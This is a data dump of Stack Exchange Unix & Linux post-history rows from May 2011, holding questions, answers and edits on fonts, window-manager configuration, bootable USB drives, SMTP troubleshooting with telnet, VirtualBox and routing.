  <row Id="35068" PostHistoryTypeId="2" PostId="14026" RevisionGUID="1643269c-c642-49a1-864e-d43b9f4eeb61" CreationDate="2011-05-30T00:10:12.530" UserId="6761" Text="For the sidepane, you can either hit `F9` or go to `View` and select `sidepane`.&#xD;&#xA;&#xD;&#xA;Similarly, for the toolbar and status bars, select them from the `View` menu." />
  <row Id="35069" PostHistoryTypeId="25" PostId="14024" RevisionGUID="29e31195-cfd9-46ee-ad6e-552f31658037" CreationDate="2011-05-30T00:13:18.363" Comment="http://twitter.com/#!/StackUnix/status/74991737776517120" />
  <row Id="35070" PostHistoryTypeId="5" PostId="14025" RevisionGUID="d60036d8-ae02-499b-b846-e876ee51c1fb" CreationDate="2011-05-30T00:21:02.753" UserId="4319" Comment="typo" Text="If your system used [pam_tcb (tcb - the alternative to /etc/shadow)](http://www.openwall.com/tcb/) (and hence there were users' password files per user), you could also achieve what you want by managing file permissions and groups (say, add this user to the group that you make own the password file for root).&#xD;&#xA;&#xD;&#xA;In this case, I don't see any principal differences in the results as compared to the `sudo`-solution (if you are ready to trust `sudo`, of course), because you are anyway giving away the highest privilege to that user.&#xD;&#xA;&#xD;&#xA;But in other cases, `pam_tcb` gives more flexibility and security: first, you ought not to trust `sudo` and `passwd` in that they won't let the user exploit the privileges in an unwanted way; second, less privileges must be given to users to achieve certain similar configurations (and no setUID-root programs are needed at all) -- see, e.g., the question for a similar thing: [Reset [another] user's password without root&#xD;&#xA;](http://serverfault.com/questions/271630/reset-users-password-without-root/271968#271968)." />
  <row Id="35071" PostHistoryTypeId="2" PostId="14027" RevisionGUID="a8eb84fa-5fb3-4b2c-964e-12612912127e" CreationDate="2011-05-30T00:21:19.070" UserId="29" Text="So I was looking at [this answer on stackoverflow](http://stackoverflow.com/questions/6162484/why-does-modern-perl-avoid-utf-8-by-default/6163129#6163129) and realized that my fonts aren't covering a whole lot of the utf-8 unicode spectrum (as I get lots of squares). Does anyone know a font that will cover all of that post?" />
  <row Id="35072" PostHistoryTypeId="1" PostId="14027" RevisionGUID="a8eb84fa-5fb3-4b2c-964e-12612912127e" CreationDate="2011-05-30T00:21:19.070" UserId="29" Text="What fonts are good for unicode glyphs" />
  <row Id="35073" PostHistoryTypeId="3" PostId="14027" RevisionGUID="a8eb84fa-5fb3-4b2c-964e-12612912127e" CreationDate="2011-05-30T00:21:19.070" UserId="29" Text="éfontsàéunicodeà" />
  <row Id="35074" PostHistoryTypeId="2" PostId="14028" RevisionGUID="bf68e89b-2bd8-46dd-a950-5c4884fb680a" CreationDate="2011-05-30T00:58:49.690" UserId="6761" Text="The hands-down most comprehensive coverage would be Roman Czyborra’s &lt;a href=&quot;http://czyborra.com/unifont/&quot;&gt;GNU Unicode font&lt;/a&gt; project. It is intended to collect a complete and free 8×16/16×16 pixel Unicode font. It currently covers over 34,000 characters (out of ~40,000+ defined characters). &#xD;&#xA;&#xD;&#xA;There is a comprehensive list of unicode fonts Unicode Font Guide For Free/Libre Open Source Operating Systems here: http://www.unifont.org/fontguide/&#xD;&#xA;&#xD;&#xA;Some more common fonts with good unicode support include &lt;a href=&quot;http://dejavu-fonts.org/wiki/Main_Page&quot;&gt;DejaVu&lt;/a&gt; and &lt;a href=&quot;http://www.gnu.org/software/freefont/&quot;&gt;Free&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35075" PostHistoryTypeId="5" PostId="14028" RevisionGUID="b7a1181b-e379-49e2-90be-debd9e015b43" CreationDate="2011-05-30T01:10:02.670" UserId="6761" Comment="added Gnu Unifont repo detail" Text="The hands-down most comprehensive coverage would be Roman Czyborra’s &lt;a href=&quot;http://czyborra.com/unifont/&quot;&gt;GNU Unicode font&lt;/a&gt; project. It is intended to collect a complete and free 8×16/16×16 pixel Unicode font. It currently covers over 34,000 characters (out of ~40,000+ defined characters).&#xD;&#xA;&#xD;&#xA;Most distributions have Gnu Unifont in their repositories. &#xD;&#xA;&#xD;&#xA;There is a comprehensive list of unicode fonts Unicode Font Guide For Free/Libre Open Source Operating Systems here: http://www.unifont.org/fontguide/&#xD;&#xA;&#xD;&#xA;Some more common fonts with good unicode support include &lt;a href=&quot;http://dejavu-fonts.org/wiki/Main_Page&quot;&gt;DejaVu&lt;/a&gt; and &lt;a href=&quot;http://www.gnu.org/software/freefont/&quot;&gt;Free&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35076" PostHistoryTypeId="2" PostId="14029" RevisionGUID="0aecf656-ad10-47b4-a2d0-ab98a54818f5" CreationDate="2011-05-30T01:30:03.517" UserId="4750" Text="I don't think `nethogs` offers a feature like that, but you can use the process id it shows in the first column to look up the information.&#xD;&#xA;&#xD;&#xA;    cat /proc/$PID/cmdline&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    ps -p $PID -o 'args='&#xD;&#xA;&#xD;&#xA;should both work on Linux, for example." />
  <row Id="35077" PostHistoryTypeId="25" PostId="14027" RevisionGUID="9fa07b52-d667-4f8a-ab95-215e5251f3b6" CreationDate="2011-05-30T03:13:19.930" Comment="http://twitter.com/#!/StackUnix/status/75037042345644032" />
  <row Id="35078" PostHistoryTypeId="4" PostId="13982" RevisionGUID="b892c99f-ba9f-4262-83a4-40868123ea8b" CreationDate="2011-05-30T03:20:58.347" UserId="1594" Comment="add gnome tag" Text="Can I make alt-tab window always appear on the primary screen in Gnome?" />
  <row Id="35079" PostHistoryTypeId="6" PostId="13982" RevisionGUID="b892c99f-ba9f-4262-83a4-40868123ea8b" CreationDate="2011-05-30T03:20:58.347" UserId="1594" Comment="add gnome tag" Text="égnomeàéaltötabà" />
  <row Id="35080" PostHistoryTypeId="2" PostId="14030" RevisionGUID="8f9f8297-c512-4c91-b581-6ab02868cf8f" CreationDate="2011-05-30T05:03:33.687" UserId="6960" Text="On the:&#xD;&#xA;&#xD;&#xA;http://sawfish.wikia.com/wiki/Screenshots&#xD;&#xA;&#xD;&#xA;site, theres a beautiful image:&#xD;&#xA;&#xD;&#xA;http://images2.wikia.nocookie.net/__cb20110217214403/sawfish/images/3/33/Arch_170211_by_hashbox.png&#xD;&#xA;&#xD;&#xA;Does anyone know how to configure sawfish to look like this?? I can't find any docs regarding this picture/desktop!&#xD;&#xA;&#xD;&#xA;thank you!" />
  <row Id="35081" PostHistoryTypeId="1" PostId="14030" RevisionGUID="8f9f8297-c512-4c91-b581-6ab02868cf8f" CreationDate="2011-05-30T05:03:33.687" UserId="6960" Text="Searching for a sawfish config" />
  <row Id="35082" PostHistoryTypeId="3" PostId="14030" RevisionGUID="8f9f8297-c512-4c91-b581-6ab02868cf8f" CreationDate="2011-05-30T05:03:33.687" UserId="6960" Text="élinuxà" />
  <row Id="35083" PostHistoryTypeId="2" PostId="14031" RevisionGUID="3092aa8d-8d30-4cdd-a119-330c6a97cd9c" CreationDate="2011-05-30T05:21:17.440" UserId="6761" Text="His `sawfish.rc` is on github here: https://github.com/ZaneA/Dotfiles/blob/master/rc&#xD;&#xA;&#xD;&#xA;and there are links to his GTK theme and sawfish theme are on his deviantart page here: http://hashbox.deviantart.com/art/Arch-170211-197724511" />
  <row Id="35084" PostHistoryTypeId="5" PostId="14031" RevisionGUID="199c2d51-d3bc-4416-b1ee-da035d735853" CreationDate="2011-05-30T05:36:25.353" UserId="6761" Comment="added 15 characters in body" Text="His `sawfish.rc` is on github here: https://github.com/ZaneA/Dotfiles/blob/master/rc&#xD;&#xA;&#xD;&#xA;and there are links to the GTK theme and sawfish theme in that screenshot on his deviantart page here: http://hashbox.deviantart.com/art/Arch-170211-197724511" />
  <row Id="35085" PostHistoryTypeId="5" PostId="14030" RevisionGUID="26b08d21-7b1d-4f91-a511-0f33ef077139" CreationDate="2011-05-30T05:57:06.873" UserId="73" Comment="deleted 2 characters in body; edited tags" Text="On the [Sawfish Wikia](http://sawfish.wikia.com/wiki/Screenshots), there's a beautiful image:&#xD;&#xA;&#xD;&#xA;![](http://images2.wikia.nocookie.net/__cb20110217214403/sawfish/images/3/33/Arch_170211_by_hashbox.png)&#xD;&#xA;&#xD;&#xA;Does anyone know how to configure sawfish to look like this? I can't find any docs regarding this picture/desktop.&#xD;&#xA;" />
  <row Id="35086" PostHistoryTypeId="6" PostId="14030" RevisionGUID="26b08d21-7b1d-4f91-a511-0f33ef077139" CreationDate="2011-05-30T05:57:06.873" UserId="73" Comment="deleted 2 characters in body; edited tags" Text="éconfigurationàésawfishà" />
  <row Id="35087" PostHistoryTypeId="2" PostId="14032" RevisionGUID="a2927aba-f870-4191-b8e6-a9244b08ae94" CreationDate="2011-05-30T06:00:22.977" UserId="2893" Text="When I write possibly long running scripts; I prefer to get a warning with a pop up. E.g. with zenity&#xD;&#xA;&#xD;&#xA;    if [[ $? -ne 0 ]]; then&#xD;&#xA;        if  zenity --question --text=&quot;Omg, something went wrong, do you wish to continue?&quot;; then&#xD;&#xA;        echo continue with program&#xD;&#xA;        else&#xD;&#xA;        echo &quot;exiting&quot; &amp;&amp; exit; &#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;This way I can do some other work and get notification if something breaks. Also, zenity info message is usually put at the end of script." />
  <row Id="35088" PostHistoryTypeId="2" PostId="14033" RevisionGUID="2dc028f1-0997-4bb1-b2d1-606ee994a0d6" CreationDate="2011-05-30T06:09:43.730" UserId="3389" Text="The solution was to use a later version of ant (the one I installed via Debian) instead of the copy provided with the source package." />
  <row Id="35089" PostHistoryTypeId="25" PostId="14030" RevisionGUID="e4c59aaf-9139-4621-8360-6cd166d359e9" CreationDate="2011-05-30T06:13:21.357" Comment="http://twitter.com/#!/StackUnix/status/75082345547431936" />
  <row Id="35090" PostHistoryTypeId="2" PostId="14034" RevisionGUID="0855f37f-9116-4584-a047-6627b9074078" CreationDate="2011-05-30T06:17:04.407" UserId="6960" Text="Can I just dd an Ubuntu 11.04 mini.iso to an usb flashdrive an boot from it? or what am I missing?" />
  <row Id="35091" PostHistoryTypeId="1" PostId="14034" RevisionGUID="0855f37f-9116-4584-a047-6627b9074078" CreationDate="2011-05-30T06:17:04.407" UserId="6960" Text="How can I make a bootable usb flashdrive?" />
  <row Id="35092" PostHistoryTypeId="3" PostId="14034" RevisionGUID="0855f37f-9116-4584-a047-6627b9074078" CreationDate="2011-05-30T06:17:04.407" UserId="6960" Text="élinuxàéddà" />
  <row Id="35093" PostHistoryTypeId="2" PostId="14035" RevisionGUID="2c76d816-005d-4a09-9076-2c04900ba6e9" CreationDate="2011-05-30T07:08:33.510" UserId="2421" Text="There are extensive [instructions on installing Ubuntu from a USB flash drive][1] on their [Community Documentation site][2].  It's a little more complicated than just `dd`ing the ISO to the drive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/Installation/FromUSBStick&#xD;&#xA;  [2]: https://help.ubuntu.com/community" />
  <row Id="35094" PostHistoryTypeId="2" PostId="14036" RevisionGUID="465c976a-8814-4b49-8dda-4879f3382f12" CreationDate="2011-05-30T07:13:30.343" UserId="7140" Text="There is also [unetbootin][1] which is a gui interface that manage the download, mounting, formating etc. It can run on windows, linux and mac. If you prefer the command line interface, I think that dd should be sufficient, you can read about this at [arch wiki][2] (which point to unetbootin as an option).&#xD;&#xA;&#xD;&#xA;Note that Ubuntu 11.04 does not work with u3 filesystem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unetbootin.sourceforge.net/&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Putting_installation_media_on_a_USB_key" />
  <row Id="35095" PostHistoryTypeId="2" PostId="14037" RevisionGUID="d1ae2794-881c-4530-a913-8db353490a52" CreationDate="2011-05-30T07:41:01.150" UserId="6960" Text="cfgmgr is a command under AIX/ksh - it checks for new hardware's - e.g.: new HDD's has been added without a shutdown. Are there any similar command under Linux? e.g.: if &quot;fdisk -l&quot; doesn't recognize the new HDD (only after reboot) - or Linux is different from AIX, and this command is not needed?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="35096" PostHistoryTypeId="1" PostId="14037" RevisionGUID="d1ae2794-881c-4530-a913-8db353490a52" CreationDate="2011-05-30T07:41:01.150" UserId="6960" Text="cfgmgr like command under Linux?" />
  <row Id="35097" PostHistoryTypeId="3" PostId="14037" RevisionGUID="d1ae2794-881c-4530-a913-8db353490a52" CreationDate="2011-05-30T07:41:01.150" UserId="6960" Text="élinuxà" />
  <row Id="35098" PostHistoryTypeId="2" PostId="14038" RevisionGUID="55e15af7-5d71-47b5-92c2-af70092e227a" CreationDate="2011-05-30T07:52:09.920" UserId="7140" Text="When I try to send email from alpine I get the following error:&#xD;&#xA;&#xD;&#xA;&gt;Error sending: connection failed to gmail-smtp... &#xD;&#xA;&#xD;&#xA;(The message disappear before I have the time to copy it). &#xD;&#xA;&#xD;&#xA;I suspect this is a firewall issue (I'm in a university campus). How can I fix this (or at least confirm)?" />
  <row Id="35099" PostHistoryTypeId="1" PostId="14038" RevisionGUID="55e15af7-5d71-47b5-92c2-af70092e227a" CreationDate="2011-05-30T07:52:09.920" UserId="7140" Text="alpine failed to connect to smtp.gmail.com" />
  <row Id="35100" PostHistoryTypeId="3" PostId="14038" RevisionGUID="55e15af7-5d71-47b5-92c2-af70092e227a" CreationDate="2011-05-30T07:52:09.920" UserId="7140" Text="écommandölineàémailàéalpineà" />
  <row Id="35101" PostHistoryTypeId="2" PostId="14039" RevisionGUID="8cf2fe76-61fe-4c74-b788-fcb3779285e9" CreationDate="2011-05-30T08:07:20.203" UserId="4671" Text="Try connecting directly to the port via telnet? See the [Wikipedia page](http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example) for an illustrative example. Start with the following (for a SMTP connection at port to smtp.gmail.com at port 25)&#xD;&#xA;&#xD;&#xA;    $ telnet smtp.gmail.com 25&#xD;&#xA;    Trying 74.125.53.109...&#xD;&#xA;    Connected to gmail-smtp-msa.l.google.com.&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    220 mx.google.com ESMTP k9sm2692779pbc.22&#xD;&#xA;    EHLO&#xD;&#xA;    250-mx.google.com at your service, [59.183.41.125]&#xD;&#xA;    250-SIZE 35882577&#xD;&#xA;    250-8BITMIME&#xD;&#xA;    250-STARTTLS&#xD;&#xA;    250 ENHANCEDSTATUSCODES&#xD;&#xA;&#xD;&#xA;If you can get this far, I suspect you don't have connection issues." />
  <row Id="35102" PostHistoryTypeId="5" PostId="14039" RevisionGUID="3cde7b52-df0d-4eb4-b23b-df86d9f52bfc" CreationDate="2011-05-30T08:14:51.297" UserId="4671" Comment="added 156 characters in body; added 452 characters in body" Text="Try connecting directly to the SMTP port on the server via telnet? See the [Wikipedia page](http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example) for an illustrative example. Start with the following (for a SMTP connection at port to smtp.gmail.com at port 25). Replace with the server and port you are using.&#xD;&#xA;&#xD;&#xA;    $ telnet smtp.gmail.com 25&#xD;&#xA;    Trying 74.125.53.109...&#xD;&#xA;    Connected to gmail-smtp-msa.l.google.com.&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    220 mx.google.com ESMTP k9sm2692779pbc.22&#xD;&#xA;    EHLO&#xD;&#xA;    250-mx.google.com at your service, [59.183.41.125]&#xD;&#xA;    250-SIZE 35882577&#xD;&#xA;    250-8BITMIME&#xD;&#xA;    250-STARTTLS&#xD;&#xA;    250 ENHANCEDSTATUSCODES&#xD;&#xA;    HELP&#xD;&#xA;    214 2.0.0 http://www.google.com/search?btnI&amp;q=RFC+2821 k9sm2692779pbc.22&#xD;&#xA;&#xD;&#xA;If you can get this far, I suspect you don't have connection issues. Just one question to clarify. Is Alpine trying to deliver your mail directly, or are you handing off to a local mail server eg. Exim, Postfix? I have all my mail handed off to Exim, and then Exim sends it to a smarthost, which seems the preferred thing to do for hosts that don't have a static IP address at least. One advantage of the latter approach is that you can look at your mail server logs and/or queue to see what is happening with your mail." />
  <row Id="35103" PostHistoryTypeId="5" PostId="14039" RevisionGUID="89d7fdb3-b69e-440e-a633-f3487f3544da" CreationDate="2011-05-30T08:20:10.363" UserId="4671" Comment="added 20 characters in body" Text="Try connecting directly to the SMTP port on the server via telnet? See the [Wikipedia page](http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example) for an illustrative example. Start with the following (for a SMTP connection at port to smtp.gmail.com at port 25). Replace with the server and port you are using.&#xD;&#xA;&#xD;&#xA;    $ telnet smtp.gmail.com 25&#xD;&#xA;    Trying 74.125.53.109...&#xD;&#xA;    Connected to gmail-smtp-msa.l.google.com.&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    220 mx.google.com ESMTP k9sm2692779pbc.22&#xD;&#xA;    EHLO&#xD;&#xA;    250-mx.google.com at your service, [59.183.41.125]&#xD;&#xA;    250-SIZE 35882577&#xD;&#xA;    250-8BITMIME&#xD;&#xA;    250-STARTTLS&#xD;&#xA;    250 ENHANCEDSTATUSCODES&#xD;&#xA;    HELP&#xD;&#xA;    214 2.0.0 http://www.google.com/search?btnI&amp;q=RFC+2821 k9sm2692779pbc.22&#xD;&#xA;&#xD;&#xA;If you can get this far, I suspect you don't have connection issues. Just one question to clarify. Is Alpine trying to deliver your mail directly, or are you handing off the mail delivery to a local mail server eg. Exim or Postfix? I have all my mail handed off to Exim, and then Exim sends it to a smarthost, which seems the preferred thing to do for hosts that don't have a static IP address at least. One advantage of the latter approach is that you can look at your mail server logs and/or queue to see what is happening with your mail." />
  <row Id="35104" PostHistoryTypeId="5" PostId="14039" RevisionGUID="86902470-1076-4ad7-84b1-932e5ee310d4" CreationDate="2011-05-30T08:37:04.737" UserId="4671" Comment="added 212 characters in body" Text="Try connecting directly to the SMTP port on the server via telnet? See the [Wikipedia page](http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example) for an illustrative example. Start with the following (for a SMTP connection at port to smtp.gmail.com at port 25). Replace with the server and port you are using. In the following, `EHLO` and `HELP` are typed at the client prompt, as part of the SMTP negotiation. Note that the server response TO `HELP` is to point you to a copy of the Simple Mail Transfer Protocol (SMTP).&#xD;&#xA;&#xD;&#xA;    $ telnet smtp.gmail.com 25&#xD;&#xA;    Trying 74.125.53.109...&#xD;&#xA;    Connected to gmail-smtp-msa.l.google.com.&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    220 mx.google.com ESMTP k9sm2692779pbc.22&#xD;&#xA;    EHLO&#xD;&#xA;    250-mx.google.com at your service, [59.183.41.125]&#xD;&#xA;    250-SIZE 35882577&#xD;&#xA;    250-8BITMIME&#xD;&#xA;    250-STARTTLS&#xD;&#xA;    250 ENHANCEDSTATUSCODES&#xD;&#xA;    HELP&#xD;&#xA;    214 2.0.0 http://www.google.com/search?btnI&amp;q=RFC+2821 k9sm2692779pbc.22&#xD;&#xA;&#xD;&#xA;If you can get this far, I suspect you don't have connection issues. Just one question to clarify. Is Alpine trying to deliver your mail directly, or are you handing off the mail delivery to a local mail server eg. Exim or Postfix? I have all my mail handed off to Exim, and then Exim sends it to a smarthost, which seems the preferred thing to do for hosts that don't have a static IP address at least. One advantage of the latter approach is that you can look at your mail server logs and/or queue to see what is happening with your mail." />
  <row Id="35105" PostHistoryTypeId="5" PostId="14038" RevisionGUID="42370564-5662-4312-98ff-0da3486996ef" CreationDate="2011-05-30T08:45:43.477" UserId="7140" Comment="added 182 characters in body" Text="When I try to send email from alpine I get the following error:&#xD;&#xA;&#xD;&#xA;&gt;Error sending: connection failed to gmail-smtp... &#xD;&#xA;&#xD;&#xA;(The message disappear before I have the time to copy it). &#xD;&#xA;&#xD;&#xA;I suspect this is a firewall issue (I'm in a university campus). How can I fix this (or at least confirm)?&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;I tried to telnet:&#xD;&#xA;&#xD;&#xA;&gt; yotam@sumsum:$&gt; telnet smtp.gmail.com 587 &#xD;&#xA;&#xD;&#xA;&gt; Trying 209.85.229.109... telnet: &#xD;&#xA;&#xD;&#xA;&gt; Unable to connect to remote host: Connection timed out&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35106" PostHistoryTypeId="25" PostId="14034" RevisionGUID="0243f179-6222-4ec4-b640-51847944ae46" CreationDate="2011-05-30T09:13:20.757" Comment="http://twitter.com/#!/StackUnix/status/75127643405684736" />
  <row Id="35107" PostHistoryTypeId="2" PostId="14040" RevisionGUID="a617b080-1e58-402a-bfda-9f6b58eaa255" CreationDate="2011-05-30T09:16:40.033" UserId="6960" Text="I have a Fedora 14. I installed the Ubuntu 11.04 i386 mini.iso in Virtualbox. After install when I reboot it, and wanted to start it: &#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/hhFlh.png&#xD;&#xA;&#xD;&#xA;it just hangs...for minutes... what can I do?&#xD;&#xA;&#xD;&#xA;thanks:\" />
  <row Id="35108" PostHistoryTypeId="1" PostId="14040" RevisionGUID="a617b080-1e58-402a-bfda-9f6b58eaa255" CreationDate="2011-05-30T09:16:40.033" UserId="6960" Text="VirtualBox guest hangs when starting vbox additions" />
  <row Id="35109" PostHistoryTypeId="3" PostId="14040" RevisionGUID="a617b080-1e58-402a-bfda-9f6b58eaa255" CreationDate="2011-05-30T09:16:40.033" UserId="6960" Text="élinuxàévirtualboxà" />
  <row Id="35110" PostHistoryTypeId="2" PostId="14041" RevisionGUID="6d197d4f-41f3-40e2-96b5-e2fe76bd58df" CreationDate="2011-05-30T09:35:18.683" UserId="2594" Text="Not sure about how this would apply to Linux but with native ZFS, one reason it is recommended to create pools on whole disks and not partitions is in the former case the disk write cache can be enabled.&#xD;&#xA;&#xD;&#xA;Several other reasons also mentioned here:&#xD;&#xA;&#xD;&#xA; http://www.solarisinternals.com/wiki/index.php/ZFS_Best_Practices_Guide#Storage_Pools" />
  <row Id="35111" PostHistoryTypeId="2" PostId="14042" RevisionGUID="3fc9da7d-207c-47af-86c8-cd97c0ef6766" CreationDate="2011-05-30T10:05:45.607" UserId="6960" Text="    apt-get purge virtualbox*&#xD;&#xA;&#xD;&#xA;solved the problem" />
  <row Id="35112" PostHistoryTypeId="2" PostId="14043" RevisionGUID="47d66b0e-a1c0-496f-b832-5a9f1cc1cc0a" CreationDate="2011-05-30T10:09:19.507" UserId="6960" Text="I have a Fedora 14. I installed the Ubuntu 11.04 i386 mini.iso in Virtualbox. After install when I reboot it, and wanted to start it: &#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;It just hangs.. what should I do to boot this Ubuntu??&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/mM1Al.png" />
  <row Id="35113" PostHistoryTypeId="1" PostId="14043" RevisionGUID="47d66b0e-a1c0-496f-b832-5a9f1cc1cc0a" CreationDate="2011-05-30T10:09:19.507" UserId="6960" Text="VirtualBox guest hangs when: Starting Apparmor profiles" />
  <row Id="35114" PostHistoryTypeId="3" PostId="14043" RevisionGUID="47d66b0e-a1c0-496f-b832-5a9f1cc1cc0a" CreationDate="2011-05-30T10:09:19.507" UserId="6960" Text="élinuxàévirtualboxà" />
  <row Id="35115" PostHistoryTypeId="5" PostId="422" RevisionGUID="16397358-7206-419b-8b48-d83fc78680f3" CreationDate="2011-05-30T10:12:55.307" UserId="4671" Comment="It's Subversion, not SubVersion. Other minor changes." Text="Can you suggest a good introduction to Subversion for UNIX (or Mac OS X) users?  It can assume familiarity with basic command-line usage, but not any advanced topics (with bash scripting counting as &quot;advanced usage&quot; here...)&#xD;&#xA;&#xD;&#xA;_Ideally,_ the guide should include:&#xD;&#xA;&#xD;&#xA;  * a short introduction on what a VCS is for (in general) and to the Subversion model in particular;&#xD;&#xA;  &#xD;&#xA;  * quick-start usage (checkout, update/edit/commit cycle)&#xD;&#xA;&#xD;&#xA;  * installation instructions; bonus points if it mentions that it's already available for all major OSes out there and leads people to install from package and not compile from source...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35116" PostHistoryTypeId="4" PostId="422" RevisionGUID="16397358-7206-419b-8b48-d83fc78680f3" CreationDate="2011-05-30T10:12:55.307" UserId="4671" Comment="It's Subversion, not SubVersion. Other minor changes." Text="Good introduction to Subversion for inexperienced users?" />
  <row Id="35117" PostHistoryTypeId="24" PostId="422" RevisionGUID="16397358-7206-419b-8b48-d83fc78680f3" CreationDate="2011-05-30T10:12:55.307" Comment="Proposed by 4671 approved by 885 edit id of 398" />
  <row Id="35118" PostHistoryTypeId="5" PostId="13970" RevisionGUID="1722cff1-48a3-4d00-ae9f-9d7bb4b54238" CreationDate="2011-05-30T11:17:41.260" UserId="1925" Comment="added 149 characters in body" Text="I don't think `ps` is what you are looking for. Have you looked at the output from `top`?&#xD;&#xA;&#xD;&#xA;If you have GNU-Top, try using it's batch mode to spit out a process list sorted by cpu usage and using head/tail to get the top 5 lines (the first 8 are headers):&#xD;&#xA;&#xD;&#xA;    top -b -n 1 | head -n 12  | tail -n 5&#xD;&#xA;&#xD;&#xA;The BSD top seems to behave differently and doesn't have a non-interactive mode, so use one of the other `ps` based solutions." />
  <row Id="35119" PostHistoryTypeId="25" PostId="14038" RevisionGUID="acd7dd27-1801-4421-9927-dbafdba920a4" CreationDate="2011-05-30T12:13:21.197" Comment="http://twitter.com/#!/StackUnix/status/75172943088467968" />
  <row Id="35120" PostHistoryTypeId="5" PostId="14041" RevisionGUID="631e3a97-080b-4469-b44a-803b4217da8f" CreationDate="2011-05-30T12:21:51.060" UserId="2594" Comment="added 79 characters in body" Text="Not sure about how this would apply to Linux but with native ZFS, one reason it is recommended to create pools on whole disks and not partitions is in the former case the disk write cache can be enabled.&#xD;&#xA;&#xD;&#xA;Several other reasons also mentioned here:&#xD;&#xA;&#xD;&#xA; http://www.solarisinternals.com/wiki/index.php/ZFS_Best_Practices_Guide#Storage_Pools&#xD;&#xA;&#xD;&#xA;Conclusion: it works, and might be a good idea depending on the filesystem." />
  <row Id="35124" PostHistoryTypeId="2" PostId="14045" RevisionGUID="6efd6af7-0a92-4c13-980a-945b80db7b9a" CreationDate="2011-05-30T12:51:28.697" UserId="7897" Text="Hello,&#xD;&#xA;&#xD;&#xA;I want to search and remove a block text in several files. &#xD;&#xA;&#xD;&#xA;The block text is in a source file, /home/user/myblock.txt. &#xD;&#xA;And I want to parse /home/user/rep to remove the content of mybloc.txt in whole directory. &#xD;&#xA;&#xD;&#xA;I hope I'm clear. &#xD;&#xA;&#xD;&#xA;Regards, &#xD;&#xA;&#xD;&#xA;Nico&#xD;&#xA;" />
  <row Id="35125" PostHistoryTypeId="1" PostId="14045" RevisionGUID="6efd6af7-0a92-4c13-980a-945b80db7b9a" CreationDate="2011-05-30T12:51:28.697" UserId="7897" Text="Search &amp; remove text in files from a source file" />
  <row Id="35126" PostHistoryTypeId="3" PostId="14045" RevisionGUID="6efd6af7-0a92-4c13-980a-945b80db7b9a" CreationDate="2011-05-30T12:51:28.697" UserId="7897" Text="éfilesàésearchà" />
  <row Id="35127" PostHistoryTypeId="2" PostId="14046" RevisionGUID="7fc381a5-b5d7-4298-bb6a-f451ef3bd263" CreationDate="2011-05-30T13:03:09.573" UserId="7870" Text="Hi,&#xD;&#xA;please look careffully at the output:&#xD;&#xA;&#xD;&#xA;&lt;b&gt;root@vpn1:~# ip ro&lt;/b&gt;&lt;br&gt;&#xD;&#xA;10.8.0.21 dev tun0  proto kernel  scope link  src 10.8.0.22&lt;br&gt;&#xD;&#xA;8.8.8.8 via 10.100.0.112 dev eth0  src 10.100.0.5&lt;br&gt;&#xD;&#xA;10.8.0.0/24 via 10.8.0.21 dev tun0&lt;br&gt;&#xD;&#xA;192.168.124.0/24 dev eth1  proto kernel  scope link  src 192.168.124.1&lt;br&gt;&#xD;&#xA;10.100.0.0/24 dev eth0  proto kernel  scope link  src 10.100.0.5&lt;br&gt;&#xD;&#xA;192.168.123.0/24 via 10.8.0.21 dev tun0&lt;br&gt;&#xD;&#xA;default via 10.100.0.1 dev eth0  metric 100&lt;br&gt;&#xD;&#xA;&lt;b&gt;root@vpn1:~# traceroute 8.8.8.8&lt;/b&gt;&lt;br&gt;&#xD;&#xA;traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets&lt;br&gt;&#xD;&#xA; 1  10.100.0.1 (10.100.0.1)  0.287 ms  0.257 ms  0.317 ms&lt;br&gt;&#xD;&#xA; 2  * * *&lt;br&gt;&#xD;&#xA; 3  * * *&lt;br&gt;&#xD;&#xA; 4  * * *&lt;br&gt;&#xD;&#xA; 5  * * *&lt;br&gt;&#xD;&#xA; 6  * * *&lt;br&gt;&#xD;&#xA; 7  * * *&lt;br&gt;&#xD;&#xA; 8  * * *&lt;br&gt;&#xD;&#xA; 9  * * *&lt;br&gt;&#xD;&#xA;10  * * *&lt;br&gt;&#xD;&#xA;11  * * *&lt;br&gt;&#xD;&#xA;12  * *^C&lt;br&gt;&#xD;&#xA;&lt;b&gt;root@vpn1:~# ping 10.100.0.112&lt;/b&gt;&lt;br&gt;&#xD;&#xA;PING 10.100.0.112 (10.100.0.112) 56(84) bytes of data.&lt;br&gt;&#xD;&#xA;64 bytes from 10.100.0.112: icmp_req=1 ttl=127 time=0.321 ms&lt;br&gt;&#xD;&#xA;^C&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;--- 10.100.0.112 ping statistics ---&lt;br&gt;&#xD;&#xA;1 packets transmitted, 1 received, 0% packet loss, time 0ms&lt;br&gt;&#xD;&#xA;rtt min/avg/max/mdev = 0.321/0.321/0.321/0.000 